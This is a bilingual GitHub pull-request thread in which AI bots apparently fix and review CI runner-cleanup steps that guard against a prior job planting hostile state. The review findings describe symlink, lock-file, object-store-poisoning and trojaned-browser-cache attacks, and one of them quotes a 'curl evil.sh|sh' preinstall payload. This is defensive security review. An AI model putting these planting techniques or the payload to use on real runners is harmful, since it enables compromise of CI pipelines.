[rc:3867844072] env-override loop step scope + headless_shell arm clear/heal step env maps in the loop; stub ldd reports a distinct lib per binary arm
[rc:3868842059] duplicate substitutions entry single repository-clause entry remains
[rc:3871927980] missing pre-checkout wipe wipe step ported from serve-ab.yml into the capture job
[rc:3871927989] ambient-secret guard shape enumeration guard flags every secrets occurrence, allowlists only secrets.GITHUB_TOKEN; shape fixtures cover bracket/indexed/whole-context
[rc:3874630223] six kept-.git defang entrances closed in round 6, re-verified by the round-7 review's own execution

Failed check: Serve A/B (ubuntu-latest, Node 22.x) — diagnosed from evidence; not reproducible from this runner

  • The check failed in 13 seconds (06:11:54Z → 06:12:07Z) on the current head e774aabb55 — before any npm/build phase of a ~20-minute job, i.e. at job setup or the first pool steps.
  • The serve-ab.yml text at this head is byte-identical to the head of the previous, green Serve A/B run (6103909, ✅ "No response changes across 12 scenario(s)"); the merge between them brought only e2e.yml and web-shell source changes. So the failure is not a YAML regression introduced by the merge.
  • The timing and the pool routing match the planted-state wedge class the round-7 finding documents (a symlinked .git/config kills the wipe step permanently on that runner; a corrupted runner root kills the daemon's 'Set up job' — the finding's own witness shows both shapes). The sibling visuals job on the same push succeeded, which fits a wedge on one pool member while another member stays healthy.
  • This round's fix closes exactly that class inside the wipe; an already-wedged machine additionally needs an operator cleanup or a re-dispatch onto a healthy member. The CI run's logs are not accessible from this runner (no GitHub credentials), so the check itself remains environment-side verification — the workflow's independent CI is the final gate.

Issue-level comments — no code action

  • The visuals preview note for head e774aab reports one or more scenarios failed to render while the capture check itself is green — that is after_capture's designed continue-on-error degradation path. The failing scenario content arrived through the merge from main (web-shell product change 4a9fe44f5a), not through this PR's routing change; it will re-evaluate on the next push.
  • The two review-fallback notices are internal to the review pipeline (one already recovered — round 7's review posted normally).

Round 7 review body advisories — noted, no separate action

The residual-risk table and the land-with-residual-risk recommendation are explicitly advisory and are a maintainer risk-acceptance decision. The standing round-7 Critical they were keyed on is resolved by this round; if the next review round confirms it, the backlog of standing Criticals from this loop is empty.

Verification

Commands actually run this round, in order:

  • node --test .github/scripts/ci-runner-routing.test.mjs (baseline, pre-fix) — 47 passed, 0 failed
  • Reproduction probe (probe-r7.mjs, exec against the unmodified step) — all 3 arms reproduced (exit 128 wedge / outside rewrite / silent outside wipe)
  • Reproduction probe re-run against the fixed step — all 3 arms flip (exit 0+link removed / exit 0+target untouched / exit 1 refusal, victim survives)
  • node --test .github/scripts/ci-runner-routing.test.mjs (post-fix) — 49 passed, 0 failed
  • Mutation probes (4 mutants + restore): config-guard deletion → 3 tests red; ancestor-loop deletion → 3 tests red; RUNNER_ENVIRONMENT override → 1 test red; rm-line-only deletion → 3 tests red; restored → 49 passed, 0 failed
  • bash .github/scripts/check-workflow-size.shpassed (baseline entries updated to exact sizes 40235/25994 in the same commit)
  • npx vitest run --config ./scripts/tests/vitest.config.ts workflow-size serve-ab-workflow218 passed (size mirror + serve-ab wipe sibling suite)
  • npm run test:scripts71 files, 1886 passed, 16 skipped, 0 failed
  • npx prettier --check on changed files — passed
  • node scripts/lint.js --yamllint — yamllint binary not installed on this runner (wrapper tolerates); YAML validity proven by both suites parsing the workflows
  • npm run buildpassed
  • npm run typecheckpassed
  • npm run lintpassed
  • git diff hunk comparison of the two workflow copies — identical hunks, executable-line-identical port test green
中文说明

第 7 轮 —— 保留 .git 拆防守卫上的 Critical 发现已处理

反馈点

  • [rc:3879820670] [Critical] R5-1:(修复引入)第 6 轮修复闭合了保留 .git 拆防的六个命名入口,但裸 refs/replace 剥离在同一位置打开了新的被植入状态入口,且该类仍通过祖先符号链接入口保持开放:
    1. .git/config 被留作指向不可解析目标的符号链接:所有带守卫的拆防空转(git config --list 死于目标),随后无守卫的裸 for-each-ref 剥离以 fatal: bad config line 1 死去(-eo pipefail 下退出码 128),且后续没有任何步骤移除该植入——该 runner 上所有后续 serve-ab / web-shell-visuals 作业永久死在清理步骤。
    2. .git/config 被链接到工作区之外一个可解析的目标:擦洗的 --unset-all 写入会透过链接改写外部文件,逃出本步骤赖以存在的包含边界。
    3. 植入在 $RUNNER_WORKSPACE 祖先上的符号链接(如 _work)会重新定根 realpath 与所有包含性检查——根修复不会触发、allowlist 变成同义反复,清理以退出码 0 无声删除真实工作区之外的文件,且无任何注解。

无需处理 base 冲突(--conflict false)。

决定:在代码中解决——先在本 runner 复现,再在两份逐字节相同的副本中结构性闭合

复现(对未改动的步骤原文执行探针,使用本 runner 的 git): 三个臂全部按发现所述复现——

arm-config-unparseable: exit=128,符号链接存活 —— fatal: bad config line 1(永久楔子)
arm-config-outside:     exit=0,符号链接存活,外部目标被透过链接改写(擦洗后变为 "")
arm-ancestor:           exit=0,真实工作区之外的受害文件被删除,无任何注解

修复,同时作用于 web-shell-visuals.ymlserve-ab.yml(相同 hunk、同一提交,按发现要求):

  1. 符号链接化的 .git/config —— 在 config.lock 删除行旁、任何 git 调用之前:若 .git/config 是符号链接,注解并 rm -f 链接本身(绝不跟随目标)。git 创建的是普通文件,链接必为前序作业所植入。按发现所述保持 if 块而非 [ -L ] && { …; } 单行式——在步骤的 -e 下单行式的假测试会使步骤失败。
  2. 祖先符号链接 —— 在根修复(裁决 $RWS 本身)之后、realpath 规范化之前:遍历 $RUNNER_WORKSPACE 的每一个祖先分量;任何一个是符号链接即以 ::error:: 拒绝并退出 1。失败即关闭,绝不修复:解除守护进程依赖的祖先(如 _work)会使它下面的所有仓库工作区悬空。拒绝是高声的(注解 + 红作业),而非无声的工作区外清理。

见证(全部按门禁的见证规则在本 runner 做了变异探针):

  • ci-runner-routing.test.mjs 中现有 wipe 见证旁新增两个执行夹具:removes a symlinked .git/config before the defang dies on its target(不可解析 + 可解析两臂:清理退出 0、链接消失、外部目标不变、下一次 checkout 完成)与 refuses a wipe whose runner workspace sits under a planted ancestor symlink(拒绝触发、真实工作区之外无任何删除)。
  • 两处 wipe 测试的字节钉扎尾部由 slice(-11) 扩展为 slice(-15),钉住新增的四行守卫;两个测试中均新增祖先拒绝的文本钉扎;两份工作流副本保持可执行行一致(由既有 port 测试钉扎)。
  • 已执行的变异探针:删除 config 守卫 → 3 个测试变红(夹具 + 两处尾部钉扎);删除祖先循环 → 3 个测试变红(夹具 + 两处 match 钉扎);仅删除 rm -f 行 → 3 个测试变红;恢复 → 49/49 全绿。

翻转验证(同一探针对修复后的步骤):

arm-config-unparseable: exit=0,符号链接被移除,目标不变
arm-config-outside:     exit=0,符号链接被移除,外部目标不变
arm-ancestor:           exit=1 带 ::error:: 注解,受害文件存活

同时闭合:两次被延后的 RUNNER_ENVIRONMENT env 钉扎缺口

第 7 轮评审正文再次把 "env 覆盖钉扎列表缺少 RUNNER_ENVIRONMENT"(第 5 轮延后探针)列为已报告项。安装车道分流正是以该变量为键——覆盖为 github-hosted 会把池成员送进 --with-deps,重新落入运行 33022864520 的密码 sudo 死法。已把 RUNNER_ENVIRONMENT 加入现有 env 覆盖钉扎循环(一行);变异探针:在安装步骤上设置该键会使接线测试变红。

其他反馈点 —— 均已在先前轮次处理,并在当前 HEAD 重新核验

其余每一条行内线程都已在更早轮次于代码中解决;本轮逐条对照当前代码树重新核验(不依赖历史记忆),并列入 resolved-comments.txt

发现 解决方式
[rc:3861481712] 池上陈旧捕获目录 'Clear stale capture dirs' 步骤存在、无条件执行、先于所有捕获
[rc:3861481731] 缺库列表丢换行 missing="${missing}${unresolved}"$'\n' 累加
[rc:3861481744] describe 回调内解析 visualsDoc/visualsCaptureJob 提升到模块顶层解析
[rc:3861481754] 关键字钉扎而非接线 已由执行式门禁套件取代
[rc:3866537969] 文本钉扎而非行为 runInstallStep 用 stub 工具实际执行真实步骤并断言退出码
[rc:3866537980] size 基线记录不足 基线重新精确(本轮增长后为 40235/25994)
[rc:3866538003] 扫描循环粘贴两次 scan_chromium_libs() shell 函数、两处调用
[rc:3867844061] Ubuntu 池成员上的 apt-get 车道探针 车道以 RUNNER_ENVIRONMENT 为门禁、Debian 供给臂、执行见证
[rc:3867844068] 零二进制的空泛门禁 scanned 计数器,为 0 时 exit 1 + ::error::
[rc:3867844072] env 覆盖循环的步骤范围 + headless_shell 臂 clear/heal 步骤的 env 映射并入循环;stub ldd 对每个二进制臂报告不同缺库
[rc:3868842059] 重复的 substitutions 条目 仅保留一条仓库子句
[rc:3871927980] 缺失检出前清理 已从 serve-ab.yml 移植 wipe 步骤进 capture job
[rc:3871927989] 环境 secret 守卫逐形状枚举 守卫对 secrets 的任何出现告警,仅允许 secrets.GITHUB_TOKEN;形状夹具覆盖括号/索引/整体上下文
[rc:3874630223] 保留 .git 拆防的六个入口 第 6 轮闭合,第 7 轮评审自己的执行复验确认

失败检查:Serve A/B (ubuntu-latest, Node 22.x) —— 基于证据诊断;本 runner 无法复现

  • 该检查在当前 head e774aabb5513 秒内失败(06:11:54Z → 06:12:07Z)——早于这个约 20 分钟作业的任何 npm/构建阶段,即死在作业建立或池上的首批步骤。
  • 该 head 的 serve-ab.yml 文本与上一次绿色 Serve A/B 运行的 head(6103909,✅ "12 个场景无响应变化")逐字节相同;两者之间的合并只带入 e2e.yml 与 web-shell 源码改动。因此该失败不是合并引入的 YAML 回归。
  • 失败时长与池路由形态与第 7 轮发现记载的被植入状态楔子类一致(符号链接化的 .git/config 使该 runner 上的 wipe 步骤永久失败;损坏的 runner 根使守护进程的 'Set up job' 失败——发现自身的见证展示了这两种形态)。同一次推送上的兄弟 visuals 作业成功,与"一个池成员被楔住、另一成员健康"相符。
  • 本轮修复正是在 wipe 内结构性闭合该类;已被楔住的机器还需要人工清理或重新派发到健康成员。本 runner 无法访问该 CI 运行的日志(无 GitHub 凭据),因此该检查本身仍是环境侧验证——以工作流的独立 CI 为最终门禁。

Issue 级评论 —— 无代码动作

  • head e774aab 的 visuals 预览注释称有一个或多个场景渲染失败而捕获检查本身为绿——这是 after_capture 设计内的 continue-on-error 降级路径。失败场景的内容来自 main 合并带入的改动(web-shell 产品变更 4a9fe44f5a),而非本 PR 的路由改动;下次推送将重新评估。
  • 两条 review-fallback 通知属于评审流水线内部(其中一条已自行恢复——第 7 轮评审已正常发布)。

第 7 轮评审正文的建议项 —— 已知悉,无单独动作

残余风险表与 land-with-residual-risk 建议明确为咨询性质,属于 maintainer 的风险接受决定。它们所对应的那条未决第 7 轮 Critical 已由本轮解决;若下一轮评审确认,本循环的未决 Critical 积压即为空。

验证

本轮实际执行的命令(按顺序):

  • node --test .github/scripts/ci-runner-routing.test.mjs(修复前基线)—— 47 通过,0 失败
  • 复现探针(probe-r7.mjs,对未改动步骤实际执行)—— 3 个臂全部复现(退出 128 楔子 / 外部改写 / 无声的工作区外清理)
  • 同一探针对修复后步骤复跑 —— 3 个臂全部翻转(退出 0 且链接被移除 / 退出 0 且目标不变 / 退出 1 拒绝、受害文件存活)
  • node --test .github/scripts/ci-runner-routing.test.mjs(修复后)—— 49 通过,0 失败
  • 变异探针(4 个变异 + 恢复):删除 config 守卫 → 3 个测试变红;删除祖先循环 → 3 个测试变红;覆盖 RUNNER_ENVIRONMENT → 1 个测试变红;仅删除 rm 行 → 3 个测试变红;恢复后 → 49 通过,0 失败
  • bash .github/scripts/check-workflow-size.sh —— 通过(基线条目已在同一提交中更新为精确尺寸 40235/25994)
  • npx vitest run --config ./scripts/tests/vitest.config.ts workflow-size serve-ab-workflow —— 218 通过(尺寸镜像 + serve-ab wipe 姊妹套件)
  • npm run test:scripts —— 71 个文件,1886 通过,16 跳过,0 失败
  • 对改动文件执行 npx prettier --check —— 通过
  • node scripts/lint.js --yamllint —— 本 runner 未安装 yamllint 二进制(包装器容忍);两个套件均成功解析工作流,YAML 有效性已获证明
  • npm run build —— 通过
  • npm run typecheck —— 通过
  • npm run lint —— 通过
  • 对两份工作流副本做 git diff hunk 比对 —— hunk 完全一致,可执行行一致的 port 测试为绿

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 100 this bot stops and leaves the PR for a human. · 有空请复审;第 100 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed.

⚠️ Round 8, and the diff has grown 3.3x since this review first measured it (184 → 612 source diff lines). The findings below are anchored to the current patch, so they can only say where this approach leaks — never that a different approach would retire all of them at once. Before fixing them, a human should decide whether the shape of the change is still right. Advisory only: this does not affect the verdict, and nothing here is a blocker.

2 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:

  • case-insensitive ambient-secrets matcher bypass (SECRETS.X / Secrets[matrix.key] / toJSON(SECRETS) resolve on the runner but the guard's regex has no i flag) — already reported (round-6 deferred list, review 5044230016)
  • ffmpeg-install step comment re-asserting the disproved uniform-RHEL premise ('no apt-get') against the Chromium comment and the step's own apt-first arm order — already reported (round-4 deferred list, review 5037369574; round-5 body as R5-…

Not reviewed: reverse audit — stopped at the round cap of 5 without converging (rounds 3-5 each reported new findings; the round-5 findings were verified before composing).

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Deferred under the convergence posture (round 8, not a blocker) — recorded, not requested in this round:

  • .github/workflows/web-shell-visuals.yml:253 (+2 locations) — [probe] HOME-scope hygiene: planted global git config (core.hooksPath) and ~/.npmrc (script-shell/registry) survive the workspace-only defang and fire in later jobs
  • .github/workflows/serve-ab.yml:131 (+2 locations) — [probe] root-heal denylist protects /var exactly while neighbours use wildcards — /var/run (Ubuntu's default symlink) slips past into rm+mkdir

Convergence: round 8 posted 5 inline comment(s), 4 of them reported for the first time; the previous round posted 1 (1 new). Findings keep coming back to the same files: .github/workflows/web-shell-visuals.yml (findings in round 5; 3 more now). The rate of new findings is not falling. A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. Batching the remaining fixes and verifying them before the next push keeps the loop from re-deriving the same set; this PR's reviews already resolve to a critical posting floor. (Observation only — nothing was withheld from this review because of this observation.)

Mechanism health: this round did not close cleanly, so it withholds the incremental anchor — and the round it recovered had no anchor this round could use either — none at all, one with no certifier, one certified by an identity other than the one this round runs under, or one this round's fetch refused or resolved to the head — so the next review re-reads the whole diff unless recovery grafts an earlier own anchor that the round running it can use onto the complete work list this round leaves behind, and keeps doing so until a round's marker carries an anchor again or a graft lands that the round running it can use. (Stated, not acted on — this changes nothing about what the round posts.)

Residual risk: this loop is persistently critical — Criticals stood in the previous round's work-list and stand again this round (6 Critical(s)), the rate of first-time findings is not falling (this round 4, previous 1), and the standing Critical backlog is not shrinking. The severity floor will not converge it. Recommendation: land-with-residual-risk — the exit is a maintainer risk-acceptance decision (merge, carrying the residual risk), not another review round. Residual-risk inventory for that decision (maintainer to complete):

standing Critical attack surface attacker-dependency blast radius
(each standing Critical)

Advisory only — it does not block this review.

[Critical] R8-5 — the new pool lane consumes the cross-job-writable Playwright browser cache without provenance (.github/workflows/web-shell-visuals.yml, Install Playwright Chromium step, scan at line 395). Three demonstrated harms: (1) render-time execution — a trojaned browser binary passes the INSTALLATION_COMPLETE marker no-op and the ldd scan (a drop-in replacement trivially resolves its shared libraries), so the victim PR's capture launches the attacker binary; (2) gate wedge — one planted minimal dynamic ELF named chrome/headless_shell whose DT_NEEDED names a nonexistent library makes the gate exit 1 on every later job, because provisioning can never satisfy a fabricated name and nothing repairs ~/.cache/ms-playwright, and the error text misdirects the maintainer toward pool-image provisioning or the kill-switch; (3) annotation forging — the attacker controls ldd's stdout, which reaches the job log through the missing list and parses as a workflow command after the runner's ActionCommand TrimStart (the channel the wipe step explicitly strips for readlink output). This lane was ephemeral-hosted-only before this PR, so the diff adds the exposure; note also that on Playwright 1.61 linux-x64 the headless binary is named chrome-headless-shell, so the scan's -name 'headless_shell' arm matches nothing on the pool lane. Witness: with planted INSTALLATION_COMPLETE markers + trojan binaries, real playwright install chromium (1.61.1) exited 0 and the trojans survived byte-identical; a gcc-built ELF with DT_NEEDED libplant.so.1 planted as an unregistered chromium-9999-evil/chrome made the REAL step exit 1 with 'libplant.so.1 => not found' + '::error::…do not resolve' (all three provision arms attempted); restricting the scan to the registered version dir flipped it to exit 0. Fix: establish provenance before consumption — wipe ${HOME}/.cache/ms-playwright before npx playwright install chromium (accepting the re-download), or scan only the current version's registered executables (registry executablePath) and quarantine unregistered chrome/headless_shell files with a warning; never feed unverified files to ldd (use readelf -d), and strip :: sequences from printed scan output until then. Fix witness: a pool-lane fixture planting (a) a marker-complete trojaned binary and (b) an extra ELF with an unresolvable DT_NEEDED under a stale subdir, asserting the step reinstalls/quarantines instead of launching or gating on the plants; red against the current step text. (Relocated from inline: its anchor at web-shell-visuals.yml:395 overlaps the existing round-1 thread 3867844068.)

中文说明

仅完成部分审查,审查缺口已披露。

⚠️ 第 8 轮,且自本审查首次测量以来 diff 已增长 3.3 倍(源码 diff 行数 184 → 612)。下方的发现都锚定在当前这版补丁上,因此它们只能指出这个方案在哪里漏了,而无法说明换一个方案就能一次性消除全部问题。在动手修复之前,应由人来判断这次改动的整体形态是否仍然正确。仅供参考:本段不影响判定结论,其中也没有任何阻断项。

本轮确认的 2 条建议级发现已在 PR 上报告过,不再重复发布(列表见上方英文部分)。

未审查:reverse audit — stopped at the round cap of 5 without converging (rounds 3-5 each reported new findings; the round-5 findings were verified before composing)。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

收敛姿态下延后(第 8 轮,非阻断)——已记录,本轮不要求修改:共 2 条(原文未翻译,列表见上方英文部分)。

收敛情况:第 8 轮发布了 5 条行内评论,其中 4 条是首次提出;上一轮发布了 1 条(其中 1 条首次提出)。发现反复回到同一批文件:.github/workflows/web-shell-visuals.yml(第 5 轮已出过发现,本轮又有 3 条)。新发现的产出速度没有下降。一个不断再生兄弟发现的簇,通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因,或把独立的簇拆成单独的 PR,通常比逐条修复更快结束循环。把剩余修复攒成一批、验证后再推送,可以避免循环反复推导同一组发现;本 PR 的评审已解析为 critical 发布下限。(仅为观察——本轮评审未因此扣留任何内容。)

机制健康:本轮未能干净收尾,因而扣留了增量锚点,而它恢复到的那一轮也没有留下本轮可用的锚点——要么完全没有、要么没有认证者、要么由本轮运行身份之外的身份认证、要么被本轮的获取拒绝或解析为头提交——因此下一次评审将重读整个 diff,除非恢复流程把本轮能使用的更早自有锚点嫁接到本轮留下的完整工作清单上;并会一直如此,直到某一轮的标记重新带上锚点,或落地的嫁接能被运行该轮的评审使用。(仅陈述,不据此行动——这不改变本轮发布的任何内容。)

残余风险:本循环处于 persistently-critical 形态——上一轮工作清单中的 Critical 本轮依然存在(本轮 6 条 Critical),首次发现的速率没有下降(本轮 4,上一轮 1),且未决 Critical 积压没有减少。severity floor 无法使其收敛。建议:land-with-residual-risk——出口是 maintainer 的风险接受决定(合入并承担残余风险),而非再开一轮评审。供该决定使用的残余风险清单(maintainer 填写):按每条未决 Critical 列出「攻击面 · 攻击者依赖性 · 影响范围」三栏。仅为建议——不阻断本次评审。

[Critical] R8-5 — the new pool lane consumes the cross-job-writable Playwright browser cache without provenance (.github/workflows/web-shell-visuals.yml, Install Playwright Chromium step, scan at line 395). Three demonstrated harms: (1) render-time execution — a trojaned browser binary passes the INSTALLATION_COMPLETE marker no-op and the ldd scan (a drop-in replacement trivially resolves its shared libraries), so the victim PR's capture launches the attacker binary; (2) gate wedge — one planted minimal dynamic ELF named chrome/headless_shell whose DT_NEEDED names a nonexistent library makes the gate exit 1 on every later job, because provisioning can never satisfy a fabricated name and nothing repairs ~/.cache/ms-playwright, and the error text misdirects the maintainer toward pool-image provisioning or the kill-switch; (3) annotation forging — the attacker controls ldd's stdout, which reaches the job log through the missing list and parses as a workflow command after the runner's ActionCommand TrimStart (the channel the wipe step explicitly strips for readlink output). This lane was ephemeral-hosted-only before this PR, so the diff adds the exposure; note also that on Playwright 1.61 linux-x64 the headless binary is named chrome-headless-shell, so the scan's -name 'headless_shell' arm matches nothing on the pool lane. Witness: with planted INSTALLATION_COMPLETE markers + trojan binaries, real playwright install chromium (1.61.1) exited 0 and the trojans survived byte-identical; a gcc-built ELF with DT_NEEDED libplant.so.1 planted as an unregistered chromium-9999-evil/chrome made the REAL step exit 1 with 'libplant.so.1 => not found' + '::error::…do not resolve' (all three provision arms attempted); restricting the scan to the registered version dir flipped it to exit 0. Fix: establish provenance before consumption — wipe ${HOME}/.cache/ms-playwright before npx playwright install chromium (accepting the re-download), or scan only the current version's registered executables (registry executablePath) and quarantine unregistered chrome/headless_shell files with a warning; never feed unverified files to ldd (use readelf -d), and strip :: sequences from printed scan output until then. Fix witness: a pool-lane fixture planting (a) a marker-complete trojaned binary and (b) an extra ELF with an unresolvable DT_NEEDED under a stale subdir, asserting the step reinstalls/quarantines instead of launching or gating on the plants; red against the current step text. (Relocated from inline: its anchor at web-shell-visuals.yml:395 overlaps the existing round-1 thread 3867844068.)

— qwen3.8-max via Qwen Code /review (v0.22.2)

# heal above unlinks a symlinked workspace root, the step's CWD
# still is the link's target, and CWD discovery would scrub a repo
# outside the workspace.
find "$WS" -mindepth 1 -maxdepth 1 ! \( -name '.git' -type d \) -exec rm -rf {} +

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R5-1: the kept-.git planted-state class is still open. Round 8 closed both round-7 entrances — the symlinked .git/config guard and the ancestor-symlink refusal were re-verified by execution this round — but the class itself remains unbounded: four consecutive rounds have each closed the named entrances, and each next audit found more. This round demonstrated seven new entrances in the kept-.git reuse:

  1. A symlinked .git/objects — only .git/config is special-cased; with .git/objects planted as a link, the next git fetch writes loose objects through the link to an attacker-chosen directory outside the workspace (wipe exits 0 with the link intact).
  2. Object-store poisoning — git never verifies loose-object hashes on read and objects/info/alternates is never removed; a poisoned store survives the wipe and the victim job's checkout materializes attacker bytes (reproduced end-to-end: the victim checkout materialized {"name":"evil","scripts":{"preinstall":"curl evil.sh|sh"}}).
  3. Planted *.lock files — a refs/replace/<sha>.lock kills the bare replace strip before its own cleanup runs, and a stale .git/index.lock (the benign trigger: a job killed mid-checkout) kills the next checkout; both legs reproduced as permanent wedges.
  4. The scrub allowlist keeps every extensions.* key — one planted extension makes every later git call exit 128, and the scrub can never unset it because its own enumeration dies first (reproduced with a hostile and a default-value extension).
  5. An unenumerable kept gitdir — garbage HEAD/packed-refs, a plain-file unparseable config (the symlink guard covers only the link spelling), or deleted refs make the bare strip exit 128 on every later job, because it has no fail-open; two consecutive simulated jobs both exit 128 and the poison survives both.
  6. Directory-shaped plants — mkdir .git/commondir (or config.lock) makes the bare rm -f defangs exit 1 with Is a directory, killing the wipe with the plant inside the kept .git.
  7. A symlink on an intermediate path component between RWS and WS is refused instead of healed, and the refusal removes nothing.

Any prior pool job — the exact lanes this PR routes there, whose npm ci runs contributor code, or a compromised dependency — can plant these states in the shared per-repo workspace. Close the class structurally in both byte-identical copies instead of entrance by entrance: stop carrying the kept repo, or validate it wholesale before reuse — sweep all symlinks under $WS/.git, sweep all *.lock files type-independently, remove objects/info/alternates, change the rm -f defangs to rm -rf, drop extensions\. from the allowlist, and fail open to removing any gitdir whose refs cannot be enumerated.

witness (all arms against the unmodified step text; every arm flips with its fix):
objects-symlink: WIPE exit=0, link intact; FETCH wrote fanout dirs + loose objects into the attacker dir
object-poison:   victim checkout materialized {"name":"evil","scripts":{"preinstall":"curl evil.sh|sh"}}
lock arms:       replace-strip leg job exit=1 (lock survives); index.lock leg wipe exit=0 then checkout exit=128
extensions:      job1/job2 wipe exit=128 'repo version is 0, but v1-only extension found', plant survives
unenumerable:    two consecutive jobs exit 128 (garbage HEAD / bad config / deleted refs), poison survives
directory-plant: step exit=1 'rm: cannot remove .git/commondir: Is a directory'

Fix witness: extend the wipe exec fixtures in ci-runner-routing.test.mjs with one plant per entrance class, each asserting the wipe exits 0 and the plant is gone — removing any of the new sweep/guard lines must turn the corresponding fixture red (mutate, run, confirm).

中文说明

R5-1:保留 .git 的被植入状态类依然开放。第 8 轮闭合了第 7 轮的两个入口(符号链接化的 .git/config 守卫与祖先符号链接拒绝,本轮均已执行复验),但该类本身仍是无界的:连续四轮每次闭合被点名的入口,下一轮审计总能找到新的。本轮在保留 .git 的复用中实证了七个新入口:(1) 符号链接化的 .git/objects——下一次 git fetch 透过链接把松散对象写到工作区之外攻击者选定的目录(wipe 以退出码 0 通过、链接原样留存);(2) 对象库投毒——git 读取时从不校验松散对象哈希,objects/info/alternates 也从不删除,投毒库在 wipe 后存活,受害作业检出时实体化攻击者字节(端到端复现:受害检出实体化出 {"name":"evil","scripts":{"preinstall":"curl evil.sh|sh"}});(3) 植入 *.lock——refs/replace/<sha>.lock 在裸 replace 剥离的自身清理之前将其杀死,陈旧 .git/index.lock(良性触发:检出中被杀的作业)杀死下一次检出,两条腿均复现为永久楔子;(4) 擦洗 allowlist 保留全部 extensions.* 键——植入任一扩展使之后每个 git 调用退出 128,而擦洗自身的枚举先死、永远无法 unset;(5) 不可枚举的保留 gitdir——垃圾 HEAD/packed-refs、普通文件形态的不可解析 config(符号链接守卫只覆盖链接形态)、被删的 refs 都使裸剥离在之后每个作业退出 128,因其没有失败开放;(6) 目录形态植入——mkdir .git/commondir(或 config.lock)使裸 rm -fIs a directory 退出 1、带着植入杀死 wipe;(7) RWS 与 WS 之间中间路径分量上的符号链接被拒绝而非修复,且拒绝不移除任何东西。任何前序池上作业——正是本 PR 路由上去的车道(其 npm ci 运行贡献者代码)或任一车道中被污染的依赖——都可以在共享的按仓库工作区中植入上述状态。请在两份逐字节相同的副本中结构性闭合该类,而非逐入口修补:不再携带保留仓库,或在复用前整体校验——清扫 $WS/.git 下全部符号链接、类型无关地清扫全部 *.lock、删除 objects/info/alternates、把 rm -f 拆防改为 rm -rf、从 allowlist 去掉 extensions\.、对无法枚举 refs 的 gitdir 失败开放地删除。修复见证:在 ci-runner-routing.test.mjs 的 wipe 执行夹具中为每类入口新增一个植入,断言 wipe 退出码 0 且植入被清除——删除任一新清扫/守卫行必须使对应夹具变红(变异、运行、确认)。

— qwen3.8-max via Qwen Code /review (v0.22.2)

Comment on lines +167 to +168
ANCESTOR="$(dirname -- "$RWS")"
while [ "$ANCESTOR" != "/" ] && [ -n "$ANCESTOR" ]; do

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R8-1: (fix-induced by the round-7 R5-1 fix) the new ancestor-symlink walk never terminates on a relative RUNNER_WORKSPACE. The walk terminates only at / or the empty string, but dirname -- "." outputs ., so for a relative RWS the loop spins forever; the case arm refusing relative paths sits inside the heal branch (if [ -L "$RWS" ] || [ ! -d "$RWS" ]), so a relative RWS that resolves to an existing directory from the step's CWD skips the refusal and enters the non-terminating walk. The pre-fix code could not hang here — realpath -m canonicalized RWS before any walk existed. A mangled runner env supplying RUNNER_WORKSPACE="." — the exact incident class of the #9220/#9265 guard this step was ported from — hangs the step with no annotation until timeout-minutes kills the job, holding a persistent-pool runner for the whole window instead of the fail-closed refusal the step's comment promises.

witness (extracted step under `bash --noprofile --norc -eo pipefail`, 5s timeout):
RUNNER_WORKSPACE='.'            -> exit=124 (timeout-killed, spinning in the walk)
RUNNER_WORKSPACE='qwen-code'    -> exit=124   (existing dir under step CWD)
RUNNER_WORKSPACE='sub/dir'      -> exit=124
RUNNER_WORKSPACE='nope'         -> exit=1 refusal (fires only in the heal-needed state)
absolute RWS                    -> exit=0 (walk terminates)
with the check hoisted before the walk: all three hang shapes exit 1 with the refusal message

Fix, in both byte-identical copies — hoist the absoluteness check out of the heal branch, right after the [ -z "$RWS" ] guard and before the walk:

case "$RWS" in
  /*) ;;
  *) echo "::error::refusing to wipe relative runner workspace path: ${RWS}"; exit 1 ;;
esac

Fix witness: add a runWipeStep case with rws: '.' asserting non-zero exit and the refusal message; the harness needs a spawn timeout so the unfixed loop goes red via timeout-kill instead of hanging the suite (remove the case arm, confirm red).

中文说明

R8-1:(由第 7 轮 R5-1 修复引入)新增的祖先符号链接遍历在相对路径的 RUNNER_WORKSPACE 上永不终止。该遍历只在 / 或空串处终止,而 dirname -- "." 输出 .,因此相对 RWS 会令循环无限空转;拒绝相对路径的 case 臂位于修复分支(if [ -L "$RWS" ] || [ ! -d "$RWS" ])内部,于是从步骤 CWD 可解析为已存在目录的相对 RWS 会跳过拒绝、直接进入不终止的遍历。修复前的代码不会在此挂起——realpath -m 在任何遍历存在之前就已规范化 RWS。被污染的 runner 环境提供 RUNNER_WORKSPACE="."——正是本步骤所移植的 #9220/#9265 守卫针对的事故类——会使步骤毫无注解地挂起直到 timeout-minutes 杀死作业,在整个窗口内占住一台常驻池 runner,而不是按步骤注释承诺的那样失败即关闭地拒绝。见证与修复(两份逐字节相同的副本):把绝对路径检查从修复分支中提出、置于 [ -z "$RWS" ] 守卫之后、遍历之前。修复见证:新增 rws: '.'runWipeStep 用例,断言非零退出与拒绝信息;harness 需要 spawn 超时,使未修复的循环以超时杀死变红而非挂死套件(删除该 case 臂、确认变红)。

— qwen3.8-max via Qwen Code /review (v0.22.2)

- name: 'Configure persistent npm cache (self-hosted)'
if: "${{ runner.environment == 'self-hosted' }}"
run: |-
cache_dir="${HOME}/.cache/qwen-code/npm"

Copy link
Copy Markdown
